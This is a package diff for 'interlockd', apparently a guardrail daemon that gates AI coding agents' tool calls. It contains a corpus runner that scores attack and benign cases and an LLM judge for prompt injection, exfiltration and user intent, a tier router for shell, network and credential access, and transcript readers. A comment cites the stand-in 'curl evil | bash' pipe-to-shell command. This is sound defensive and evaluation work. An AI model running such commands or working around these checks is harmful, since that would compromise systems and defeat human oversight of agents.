interlockd 0.1.0__py3-none-any.whl

interlockd/testkit.py

@@ -0,0 +1,401 @@
+"""Shared corpus runner for the deterministic layers (design §6, evaluation).
+
+One place that turns a corpus case into a decision, used by both `interlock test` (the CLI
+command) and `tests/test_packs.py` (pytest), so the two never drift. It runs a case through the
+real deterministic path — normalize → tier route → deterministic engine → mandate → compose
+(policy) — exactly as `Daemon.decide` does for a gated pre-action call, but WITHOUT the judge.
+
+Two dispositions come out of a case and they are different on purpose. `decision` is the raw
+deterministic engine decision (block|ask|model|flag|allow) and is what the corpus `expect` labels
+mean. `enforced` is what the composer would actually enforce without a judge (it collapses `model`
+and `flag` to `allow`, since a model-routed rule defers to the judge). FPR/FNR are computed on the
+engine decision so that a benign case routed to the judge is not scored as a hard false positive,
+and an attack correctly escalated to the judge is not scored as a miss of the deterministic layer.
+
+Judge seam: `model`-routed rules surface as the deterministic disposition "model"; a case may
+carry `judge` labels (expected answers to intent questions) which this runner records as pending
+and does not score. The next step wires a `DecisionBackend` in behind `score_judge=True`.
+A judge-only attack — one that expects `allow` deterministically but carries `judge` labels (e.g.
+reading a file the user never asked for, which only an intent judge can flag) — is deferred to that
+step and is NOT counted as a deterministic false negative, so it never trips an FNR gate on a
+judge-scored category such as security.prompt_injection.
+
+Case schema (interlockd/data/packs/*.jsonl, one JSON object per line):
+    id        unique case id (required)
+    cmd       shell command string          } one of cmd / (tool+args) required
+    tool,args explicit tool name + arguments }
+    expect    block | ask | model | allow    (required; the deterministic disposition)
+    rules     rule ids that MUST fire        (optional)
+    not_rules rule ids that must NOT fire; "*" means no finding at all (optional)
+    manifest  {filename: content} written to the workspace root before evaluation (optional)
+    result    the untrusted tool output the post-action injection probe reads (optional; string)
+    tier      expected tier 0|1|2            (optional)
+    label     "attack" | "benign"           (optional; inferred from expect when absent)
+    category  OGR category this case belongs to (optional; inferred from the expected rules)
+    judge     {question_id: expected_noul}   (optional; recorded, not scored in this step)
+
+A corpus directory may also contain an optional `_corpus.yaml` declaring the trust context its cases
+were authored against (`trust: {allowed_git_remotes: [...], ...}`), read by `load_corpus_trust`.
+"""
+
+from __future__ import annotations
+
+import json
+from dataclasses import dataclass, field
+from pathlib import Path
+
+import yaml
+
+from .compose import compose
+from .det import RULES
+from .det.engine import evaluate as det_evaluate
+from .det.mandate import evaluate_mandate
+from .judges import QUESTIONS_V1, BackendError
+from .judges.projector import project_confirmation, project_intent, project_probe
+from .models import AdapterInfo, Context, Identity, InterlockEvent, ToolCall
+from .policy import Policy
+from .tiers import route
+
+# A benign case is one that should end in "allow"; everything else is an attack/escalation case.
+BENIGN = "allow"
+
+
+@dataclass
+class CaseResult:
+    case_id: str
+    pack: str
+    expect: str
+    decision: str                         # raw engine decision: block|ask|model|flag|allow (compared to expect)
+    enforced: str = "allow"               # composed disposition without a judge (model/flag -> allow)
+    fired: set[str] = field(default_factory=set)
+    expected_rules: list[str] = field(default_factory=list)
+    forbidden_rules: list[str] = field(default_factory=list)
+    tier: int | None = None
+    expected_tier: int | None = None
+    label: str = "benign"                 # attack|benign
+    category: str = ""                    # OGR category for per-category rates
+    judge_pending: dict[str, float] = field(default_factory=dict)
+    errors: list[str] = field(default_factory=list)
+
+    @property
+    def disposition_ok(self) -> bool:
+        return self.decision == self.expect
+
+    @property
+    def rules_ok(self) -> bool:
+        return not self.errors
+
+    @property
+    def ok(self) -> bool:
+        return self.disposition_ok and self.rules_ok and (
+            self.expected_tier is None or self.tier == self.expected_tier)
+
+    # A false positive: a benign case the deterministic layer hard-escalated (block or ask).
+    # A `model`/`flag` route on a benign case is not an FP — it defers to the judge, scored later.
+    @property
+    def false_positive(self) -> bool:
+        return self.label == "benign" and self.decision in ("block", "ask")
+
+    # A false negative: an attack case the deterministic layer let through (allow/flag/none).
+    # A `model` route is NOT a miss — the attack was correctly escalated to the (out-of-scope) judge.
+    # A judge-only attack (expects `allow` deterministically AND carries judge labels) is also NOT a
+    # deterministic miss: it is undetectable without intent/injection judgement by design (e.g. reading a
+    # file the user did not ask for). It is scored in the judge step, not here, so it must not inflate the
+    # deterministic FNR or trip a gate on a judge-only category like security.prompt_injection.
+    @property
+    def false_negative(self) -> bool:
+        if self.label != "attack" or self.decision not in ("allow", "flag", None):
+            return False
+        judge_only = self.expect == "allow" and bool(self.judge_pending)
+        return not judge_only
+
+
+def load_cases(*dirs: Path) -> list[dict]:
+    """Load every *.jsonl case from the given directories (default: interlockd/data/packs). `pack` = file stem."""
+    out: list[dict] = []
+    for d in dirs:
+        for f in sorted(Path(d).glob("*.jsonl")):
+            for lineno, line in enumerate(f.read_text().splitlines(), 1):
+                if not line.strip():
+                    continue
+                try:
+                    c = json.loads(line)
+                except json.JSONDecodeError as e:
+                    raise ValueError(f"{f}:{lineno}: invalid JSON: {e}") from e
+                c.setdefault("pack", f.stem)
+                out.append(c)
+    return out
+
+
+def default_corpus_dir() -> Path:
+    """The shipped pack corpus (interlockd/data/packs), so `interlock test` works from an installed wheel."""
+    return Path(__file__).resolve().parent / "data" / "packs"
+
+
+def load_corpus_trust(*dirs: Path) -> dict:
+    """Read optional `_corpus.yaml` trust assumptions from each corpus directory and merge them.
+
+    A corpus declares the trust context its cases were authored against (e.g. which git remotes count
+    as allowed) so those assumptions live WITH the corpus, not hardcoded in the shipped runner. Shape:
+        trust:
+          allowed_git_remotes: ["github.com/org/*"]
+          allowed_hosts: [...]            # any Trust field is accepted
+    Later directories win on a key. Returns the merged `trust` mapping ({} when no file is present)."""
+    merged: dict = {}
+    for d in dirs:
+        f = Path(d) / "_corpus.yaml"
+        if f.exists():
+            data = yaml.safe_load(f.read_text()) or {}
+            merged.update(data.get("trust") or {})
+    return merged
+
+
+def make_policy(workspace: str, base: Policy | None = None, *, corpus_trust: dict | None = None) -> Policy:
+    """Policy for a corpus run. Defaults match the pack corpus' trust assumptions; a caller may
+    pass its own loaded policy (so `interlock test` honors the user's overrides and `tests:` gates).
+
+    The base policy is deep-copied so each case gets its own `workspace_roots` (the per-case temp dir)
+    without mutating the caller's shared policy object across cases. `corpus_trust` (from the corpus'
+    own `_corpus.yaml`) applies trust fields the base policy left at Interlock's DEFAULT value — so a
+    corpus can declare its own allowed remotes/hosts, but a value the caller set explicitly (e.g. via
+    `--policy`) is never clobbered. Compared against a fresh `Policy()` to tell "default" from "set"."""
+    p = base.model_copy(deep=True) if base is not None else Policy()
+    # Each case runs in its own temp workspace; the root must point there regardless of the base.
+    p.trust.workspace_roots = [workspace]
+    default_trust = Policy().trust
+    for key, value in (corpus_trust or {}).items():
+        # Apply only where the base policy still holds Interlock's default for that field.
+        if hasattr(p.trust, key) and getattr(p.trust, key) == getattr(default_trust, key):
+            setattr(p.trust, key, value)
+    return p
+
+
+def _infer_category(expected_rules: list[str]) -> str:
+    for r in expected_rules:
+        meta = RULES.get(r)
+        if meta:
+            return meta[0]
+    return ""
+
+
+def run_case(case: dict, ws: Path, *, policy: Policy | None = None, corpus_trust: dict | None = None) -> CaseResult:
+    """Run one case through the full deterministic pipeline (no judge). Pure; writes only under `ws`."""
+    pol = make_policy(str(ws), base=policy, corpus_trust=corpus_trust)
+    for name, content in (case.get("manifest") or {}).items():
+        target = ws / name
+        target.parent.mkdir(parents=True, exist_ok=True)
+        target.write_text(content)
+
+    if "cmd" in case:
+        tool, args = "execute_bash", {"command": case["cmd"]}
+    elif "tool" in case:
+        tool, args = case["tool"], case.get("args", {})
+    else:
+        return CaseResult(case_id=case.get("id", "?"), pack=case.get("pack", "?"), expect=case.get("expect", "allow"),
+                          decision="allow", errors=["case has neither 'cmd' nor 'tool'"])
+
+    ev = InterlockEvent(kind="pre_action", adapter=AdapterInfo(name="test"), identity=Identity(agent_type="test"),
+                        tool_call=ToolCall(name=tool, arguments=args), context=Context(cwd=str(ws)))
+    tier = route(ev, workspace_roots=pol.trust.workspace_roots, protected=pol.trust.protected_paths,
+                 sensitive=pol.trust.sensitive_paths)
+
+    expected_rules = list(case.get("rules", []))
+    forbidden = list(case.get("not_rules", []))
+    label = case.get("label") or ("benign" if case.get("expect") == BENIGN else "attack")
+    category = case.get("category") or _infer_category(expected_rules)
+    res = CaseResult(
+        case_id=case.get("id", "?"), pack=case.get("pack", "?"), expect=case.get("expect", "allow"),
+        decision="allow", expected_rules=expected_rules, forbidden_rules=forbidden,
+        tier=tier.tier, expected_tier=case.get("tier"), label=label, category=category,
+        judge_pending=dict(case.get("judge", {})),
+    )
+
+    if tier.tier == 0:
+        res.decision, res.enforced = "allow", "allow"
+    else:
+        det = det_evaluate(ev, pol, tier)
+        mandate = evaluate_mandate(pol, det, agent_id=ev.identity.agent_id,
+                                   workspace=ev.identity.agent_workspace, session_counters={})
+        composed = compose(det, mandate, pol, session={}, kind="pre_action")
+        res.decision = det.decision or "allow"
+        res.enforced = composed.disposition or "allow"
+        res.fired = {f.rule for f in composed.findings if f.rule}
+        if not category:
+            # Prefer the category of the finding that OWNS the decision (its action == the engine's
+            # decision), so `curl evil | bash` reports malicious_command (the blocking pipe-to-shell)
+            # rather than the alphabetically-first fired rule. Fall back to the sorted-first rule.
+            owners = [f.category for f in composed.findings
+                      if f.rule and det.actions.get(f.rule) == res.decision and f.category]
+            res.category = (owners[0] if owners else _infer_category(sorted(res.fired))) or category
+
+    # Validate against the case's labels (same checks as the pytest assertions, collected not raised).
+    for r in expected_rules:
+        if r not in res.fired:
+            res.errors.append(f"expected rule {r} to fire; fired={sorted(res.fired)}")
+    for r in forbidden:
+        if r == "*":
+            if res.fired:
+                res.errors.append(f"expected no findings; fired={sorted(res.fired)}")
+        elif r in res.fired:
+            res.errors.append(f"rule {r} must not fire; fired={sorted(res.fired)}")
+    if not res.disposition_ok:
+        res.errors.append(f"decision {res.decision} != {res.expect} (fired={sorted(res.fired)})")
+    if res.expected_tier is not None and res.tier != res.expected_tier:
+        res.errors.append(f"tier {res.tier} != {res.expected_tier}")
+    return res
+# (judge scoring lives below, as a separate pass; run_case stays pure and model-free)
+
+
+# ============================================================================================
+# Judge scoring — a SEPARATE pass over labelled cases, independent of run_case.
+#
+# run_case above is deterministic and model-free (CI-stable). Judge scoring is additive: it takes a
+# DecisionBackend (a live Strands Decider over HTTP, or a ReplayBackend of recorded answers for tests),
+# asks each case the questions it declares in `judge`, and scores the answer against the expected label.
+# For a `noul` question the expected value is a probability in [0,1]; "correct" means the answer landed
+# on the same side of 0.5 as the label, and we also keep the raw (predicted_prob, truth_bit) pair so the
+# calibration module can fit bands and compute ECE. For a `choice` question we score exact-match.
+# ============================================================================================
+
+
+
+@dataclass
+class JudgeScore:
+    case_id: str
+    question_id: str
+    expected: float | str          # the case's label (noul prob, or choice string)
+    predicted: float | str | None  # the backend's answer (noul prob, or choice string); None if unjudged
+    correct: bool = False
+    unjudged: bool = False
+    kind: str = "noul"             # noul | choice
+
+    @property
+    def truth_bit(self) -> int:
+        """For a noul question, the label as a 0/1 ground-truth (>=0.5 -> 1)."""
+        return 1 if isinstance(self.expected, (int, float)) and self.expected >= 0.5 else 0
+
+
+@dataclass
+class JudgeReport:
+    scores: list[JudgeScore] = field(default_factory=list)
+    cases_scored: int = 0
+    questions_asked: int = 0
+    unjudged: int = 0
+
+    def noul_pairs(self, question_id: str | None = None) -> list[tuple[float, int]]:
+        """(predicted_prob, truth_bit) pairs for noul questions — the input to calibration."""
+        out = []
+        for s in self.scores:
+            if (s.kind == "noul" and not s.unjudged and isinstance(s.predicted, (int, float))
+                    and (question_id is None or s.question_id == question_id)):
+                out.append((float(s.predicted), s.truth_bit))
+        return out
+
+    def accuracy(self, question_id: str | None = None) -> float | None:
+        rel = [s for s in self.scores if not s.unjudged and (question_id is None or s.question_id == question_id)]
+        return (sum(s.correct for s in rel) / len(rel)) if rel else None
+
+
+def _project_for_question(event: InterlockEvent, qid: str, det) -> dict:
+    """Build the same state the daemon would send for this question (intent/confirmation vs probe)."""
+    if qid in ("injection_present", "injection_targets_action"):
+        state, _ = project_probe(event, max_untrusted_tokens=3000)
+        return state
+    if qid == "confirmation_given":
+        # Mirror production (pipeline._confirm_via_transcript): the confirmation judge sees a dedicated
+        # projection — what the agent asked permission for, why it was held, and only the user messages
+        # SINCE the ask — not the full intent projection. Derive `reason` from the deterministic findings
+        # exactly as production does, so calibration measures the state that actually ships.
+        findings = det.findings if det else []
+        reason = "; ".join(f.subject or f.category for f in findings[:3]) or None
+        return project_confirmation(event, normalized=(det.normalized if det else {}), reason=reason)
+    # intent_authorized / exfil_risk read user messages + the structured action
+    return project_intent(event, normalized=(det.normalized if det else {}),
+                           prior_calls=[], max_tokens=1000)
+
+
+def _event_from_case(case: dict, ws: Path):
+    """Reconstruct the InterlockEvent for a case, including transcript→user_messages and manifest→result.
+    Mirrors run_case's construction so the judge sees what the gate would at decision time."""
+    from .models import ToolResult, UserMessage
+
+    if "cmd" in case:
+        tool, args = "execute_bash", {"command": case["cmd"]}
+    else:
+        tool, args = case.get("tool", ""), case.get("args", {})
+    user_messages = None
+    tx = case.get("transcript")
+    if tx:
+        msgs = [UserMessage(n=i + 1, text=t.get("text", "")) for i, t in enumerate(tx) if t.get("role") == "user"]
+        user_messages = msgs or None
+    ev = InterlockEvent(kind="pre_action", adapter=AdapterInfo(name="test"), identity=Identity(agent_type="test"),
+                        tool_call=ToolCall(name=tool, arguments=args),
+                        context=Context(cwd=str(ws), user_messages=user_messages))
+    # The untrusted content the post-action probe reads is the explicit `result` field. (A deprecated
+    # fallback matches a manifest value by key name, for any pre-migration case; new cases set `result`.)
+    untrusted = case.get("result")
+    if not isinstance(untrusted, str):
+        manifest = case.get("manifest") or {}
+        untrusted = next((v for k, v in manifest.items() if isinstance(v, str) and any(
+            s in k for s in ("injected", "tool_output", "observation", "tool_result"))), None)
+    if isinstance(untrusted, str) and untrusted:
+        ev.result = ToolResult(content=untrusted)
+    return ev
+
+
+def score_judge(cases: list[dict], backend, ws_root: Path, *, policy: Policy | None = None,
+                corpus_trust: dict | None = None, timeout_ms: int = 2000) -> JudgeReport:
+    """Score the judge against every case that carries `judge` labels. Pure w.r.t. the filesystem beyond
+    the per-case temp workspace. A BackendError on a case marks that question `unjudged` (never fatal),
+    exactly as the daemon records it when the model is unreachable."""
+    report = JudgeReport()
+    for i, case in enumerate(cases):
+        labels = case.get("judge") or {}
+        if not labels:
+            continue
+        ws = ws_root / f"j{i}"
+        ws.mkdir(parents=True, exist_ok=True)
+        for name, content in (case.get("manifest") or {}).items():
+            if isinstance(content, str):
+                (ws / name).parent.mkdir(parents=True, exist_ok=True)
+                (ws / name).write_text(content)
+        # a deterministic pass gives us normalized structure for the intent projection
+        det = None
+        try:
+            ev = _event_from_case(case, ws)
+            pol = make_policy(str(ws), base=policy, corpus_trust=corpus_trust)
+            tier = route(ev, workspace_roots=pol.trust.workspace_roots, protected=pol.trust.protected_paths,
+                         sensitive=pol.trust.sensitive_paths)
+            if tier.tier > 0:
+                det = det_evaluate(ev, pol, tier)
+        except Exception:  # noqa: BLE001 — projection is best-effort; a bad case still gets asked with minimal state
+            ev = _event_from_case(case, ws)
+        report.cases_scored += 1
+        for qid, expected in labels.items():
+            q = QUESTIONS_V1.get(qid)
+            if q is None:
+                continue
+            kind = q.get("type", "noul")
+            state = _project_for_question(ev, qid, det)
+            report.questions_asked += 1
+            try:
+                res = backend.ask(state, {qid: q}, timeout_ms=timeout_ms)
+                ans = res.answers.get(qid, {})
+            except BackendError:
+                report.unjudged += 1
+                report.scores.append(JudgeScore(case["id"], qid, expected, None, unjudged=True, kind=kind))
+                continue
+            if kind == "noul":
+                pred = ans.get("noul")
+                if not isinstance(pred, (int, float)):
+                    report.unjudged += 1
+                    report.scores.append(JudgeScore(case["id"], qid, expected, None, unjudged=True, kind=kind))
+                    continue
+                exp = float(expected) if isinstance(expected, (int, float)) else 0.0
+                correct = (pred >= 0.5) == (exp >= 0.5)
+                report.scores.append(JudgeScore(case["id"], qid, exp, float(pred), correct=correct, kind="noul"))
+            else:  # choice
+                pred = ans.get("choice")
+                correct = (pred == expected)
+                report.scores.append(JudgeScore(case["id"], qid, expected, pred, correct=correct, kind="choice"))
+    return report

interlockd/tiers.py

@@ -0,0 +1,95 @@
+"""Tier router (design §4.3): read-only, in-workspace mutation, or gated.
+
+Tool-name tables cover Kiro's built-in tools and the Claude Code / Codex names the later adapters send.
+Unknown tools are gated. Reads of sensitive paths are promoted to the gated tier.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from typing import Any
+
+from .models import InterlockEvent
+from .paths import is_protected, is_sensitive, is_under, normalize_path
+
+HARNESS_TOOLS = {
+    "todo_list", "update_session_information", "create_artifact", "user_input", "validate_spec_format",
+    "analyze_requirements", "disclose_context", "kiro_powers", "fetch_cloud_config",
+}
+READ_ONLY_TOOLS = {
+    "read_file", "read_code", "grep_search", "file_search", "list_directory", "fs_read", "read", "list_dir",
+    "Read", "Grep", "Glob", "LS",
+    "read_many_files", "glob", "search_file_content",                       # Gemini CLI
+}
+IN_WORKSPACE_WRITE_TOOLS = {
+    "fs_write", "str_replace", "fs_append", "write", "smart_relocate", "create_file",
+    "Write", "Edit", "MultiEdit", "NotebookEdit", "apply_patch",
+    "write_file", "replace",                                                 # Gemini CLI
+    "edit", "patch", "multiedit",                                           # OpenCode (write and read are shared)
+}
+DESTRUCTIVE_TOOLS = {"delete_file", "remove_file", "Delete"}
+SHELL_TOOLS = {"execute_bash", "shell", "Bash", "PowerShell", "control_bash_process", "exec_command",
+               "Shell", "run_shell_command", "bash", "powershell"}          # Cursor, Gemini CLI, Copilot CLI
+NETWORK_TOOLS = {"web_fetch", "remote_web_search", "WebFetch", "WebSearch", "web_search", "google_web_search", "webfetch",
+                 "net_connect"}                                             # net_connect: the egress proxy
+SUBAGENT_TOOLS = {"invoke_sub_agent", "Task", "spawn_agent"}
+
+PATH_KEYS = ("path", "file_path", "filePath", "target", "destination", "source", "notebook_path")
+
+
+@dataclass
+class TierResult:
+    tier: int
+    action_class: str
+    reason: str
+    paths: list[str] = field(default_factory=list)
+
+
+def _paths_from_args(args: dict[str, Any], cwd: str | None) -> list[str]:
+    out: list[str] = []
+    for k in PATH_KEYS:
+        v = args.get(k)
+        if isinstance(v, str) and v:
+            out.append(normalize_path(v, cwd))
+    return out
+
+
+def route(event: InterlockEvent, *, workspace_roots: list[str], protected: list[str], sensitive: list[str]) -> TierResult:
+    name = event.tool_call.name
+    args = event.tool_call.arguments
+    cwd = event.context.cwd
+    roots = workspace_roots or ([cwd] if cwd else [])
+
+    if name in HARNESS_TOOLS:
+        return TierResult(0, "harness", "harness-internal tool")
+
+    if name in READ_ONLY_TOOLS:
+        paths = _paths_from_args(args, cwd)
+        hot = [p for p in paths if is_sensitive(p, sensitive)]
+        if hot:
+            return TierResult(2, "credential_access", "read of a sensitive path", hot)
+        return TierResult(0, "read", "read-only tool", paths)
+
+    if name in IN_WORKSPACE_WRITE_TOOLS:
+        paths = _paths_from_args(args, cwd)
+        if not paths:
+            return TierResult(2, "edit_in_workspace", "write tool without a path argument")
+        if any(is_protected(p, roots, protected) for p in paths):
+            return TierResult(2, "edit_protected", "write to a protected path", paths)
+        if any(is_sensitive(p, sensitive) for p in paths):
+            return TierResult(2, "credential_access", "write to a sensitive path", paths)
+        if all(is_under(p, roots) for p in paths):
+            return TierResult(1, "edit_in_workspace", "write inside the workspace", paths)
+        return TierResult(2, "edit_outside_workspace", "write outside the workspace", paths)
+
+    if name in DESTRUCTIVE_TOOLS:
+        return TierResult(2, "destructive", "delete tool", _paths_from_args(args, cwd))
+    if name in SHELL_TOOLS:
+        return TierResult(2, "shell", "shell command; parsed by the deterministic engine")
+    if name in NETWORK_TOOLS:
+        return TierResult(2, "network_egress", "network tool")
+    if name in SUBAGENT_TOOLS:
+        return TierResult(2, "subagent", "subagent spawn")
+    if name.startswith(("@", "mcp_", "MCP:")):                              # Claude/Codex mcp__, Gemini mcp_, Cursor MCP:
+        return TierResult(2, "mcp", "MCP tool")
+    return TierResult(2, "other", "unknown tool")

interlockd/transcript/__init__.py

@@ -0,0 +1 @@
+"""Harness transcript readers: the daemon, not the hook, recovers the user's instructions."""

interlockd/transcript/claude_code.py

@@ -0,0 +1,73 @@
+"""Read user messages from a Claude Code transcript (the JSONL at the payload's transcript_path).
+
+Each line is one JSON object; user turns have type == "user" with message.content either a string or a list of
+blocks. Blocks of type tool_result are the harness feeding tool output back and are NOT user instructions, so only
+text blocks count. Incremental like the Kiro reader: the file is append-only.
+"""
+
+from __future__ import annotations
+
+import json
+import threading
+from pathlib import Path
+
+from ..models import UserMessage
+
+
+class ClaudeTranscript:
+    def __init__(self) -> None:
+        self._cache: dict[str, tuple[int, list[str]]] = {}
+        self._lock = threading.Lock()
+
+    def _user_texts(self, path: str) -> list[str]:
+        p = Path(path).expanduser()
+        try:
+            size = p.stat().st_size
+        except OSError:
+            return []
+        with self._lock:
+            offset, texts = self._cache.get(path, (0, []))
+            if size < offset:
+                offset, texts = 0, []
+            if size == offset:
+                return texts
+            texts = list(texts)
+            with open(p, "rb") as f:
+                f.seek(offset)
+                chunk = f.read(size - offset)
+            last_nl = chunk.rfind(b"\n")
+            if last_nl < 0:
+                return texts
+            for raw in chunk[: last_nl + 1].splitlines():
+                if b'"user"' not in raw:
+                    continue
+                try:
+                    o = json.loads(raw)
+                except json.JSONDecodeError:
+                    continue
+                if o.get("type") != "user":
+                    continue
+                msg = o.get("message") or {}
+                content = msg.get("content")
+                if isinstance(content, str):
+                    text = content
+                elif isinstance(content, list):
+                    text = " ".join(b.get("text", "") for b in content if isinstance(b, dict) and b.get("type") == "text")
+                else:
+                    continue
+                if text.strip() and not (o.get("isMeta") or o.get("isCompactSummary")):
+                    texts.append(text.strip())
+            self._cache[path] = (offset + last_nl + 1, texts)
+            return texts
+
+    def user_messages(self, path: str | None, n: int = 3) -> list[UserMessage] | None:
+        if not path:
+            return None
+        texts = self._user_texts(path)
+        if not texts:
+            return None
+        last = texts[-n:]
+        return [UserMessage(n=i - len(last), text=t) for i, t in enumerate(last)]
+
+    def turn_count(self, path: str | None) -> int:
+        return len(self._user_texts(path)) if path else 0

interlockd/transcript/kiro.py

@@ -0,0 +1,102 @@
+"""Read user messages from a Kiro session transcript (adapters/kiro/PAYLOADS.md §6).
+
+Layout: <sessions_dir>/<workspace-hash>/<session_id>/messages.jsonl, one JSON object per line with
+payload.type in {user, assistant, tool_call, tool_result, turn_start, ...}; session.json alongside.
+"""
+
+from __future__ import annotations
+
+import json
+import threading
+from pathlib import Path
+from typing import Any
+
+from ..models import UserMessage
+
+
+class KiroTranscript:
+    def __init__(self, sessions_dir: Path):
+        self.sessions_dir = Path(sessions_dir).expanduser()
+        self._paths: dict[str, Path] = {}
+        self._cache: dict[str, tuple[int, list[str]]] = {}  # session -> (bytes consumed, user texts)
+        self._lock = threading.Lock()
+
+    def find(self, session_id: str) -> Path | None:
+        if session_id in self._paths and self._paths[session_id].exists():
+            return self._paths[session_id]
+        if not self.sessions_dir.exists():
+            return None
+        for ws in self.sessions_dir.iterdir():
+            cand = ws / session_id / "messages.jsonl"
+            if cand.exists():
+                self._paths[session_id] = cand
+                return cand
+        return None
+
+    def session_meta(self, session_id: str) -> dict[str, Any]:
+        p = self.find(session_id)
+        if not p:
+            return {}
+        meta = p.with_name("session.json")
+        try:
+            return json.loads(meta.read_text()) if meta.exists() else {}
+        except json.JSONDecodeError:
+            return {}
+
+    def _user_texts(self, session_id: str) -> list[str]:
+        """Incremental: the transcript is append-only, so only bytes past the last offset are parsed."""
+        p = self.find(session_id)
+        if not p:
+            return []
+        try:
+            size = p.stat().st_size
+        except FileNotFoundError:
+            return []
+        with self._lock:
+            offset, texts = self._cache.get(session_id, (0, []))
+            if size < offset:  # rotated or truncated: start over
+                offset, texts = 0, []
+            if size == offset:
+                return texts
+            texts = list(texts)
+            with open(p, "rb") as f:
+                f.seek(offset)
+                chunk = f.read(size - offset)
+            # keep a partial trailing line for the next read
+            last_nl = chunk.rfind(b"\n")
+            if last_nl < 0:
+                return texts
+            consumed = offset + last_nl + 1
+            for raw in chunk[: last_nl + 1].splitlines():
+                if b'"user"' not in raw and b'"interaction_resolved"' not in raw:
+                    continue
+                try:
+                    o = json.loads(raw)
+                except json.JSONDecodeError:
+                    continue
+                payload = o.get("payload") or {}
+                if payload.get("type") == "interaction_resolved" and payload.get("outcome") == "answered":
+                    # the user's answer to a question the agent asked (user_input tool); these are the user's words too
+                    answer = payload.get("selectedOption") or payload.get("response") or payload.get("answer")
+                    if isinstance(answer, str) and answer.strip():
+                        texts.append(f"[answer] {answer.strip()}")
+                    continue
+                if payload.get("type") != "user":
+                    continue
+                content = payload.get("content")
+                if isinstance(content, list):
+                    content = " ".join(c.get("text", "") if isinstance(c, dict) else str(c) for c in content)
+                if isinstance(content, str) and content.strip():
+                    texts.append(content.strip())
+            self._cache[session_id] = (consumed, texts)
+            return texts
+
+    def user_messages(self, session_id: str, n: int = 3) -> list[UserMessage] | None:
+        texts = self._user_texts(session_id)
+        if not texts:
+            return None
+        last = texts[-n:]
+        return [UserMessage(n=i - len(last), text=t) for i, t in enumerate(last)]
+
+    def turn_count(self, session_id: str) -> int:
+        return len(self._user_texts(session_id))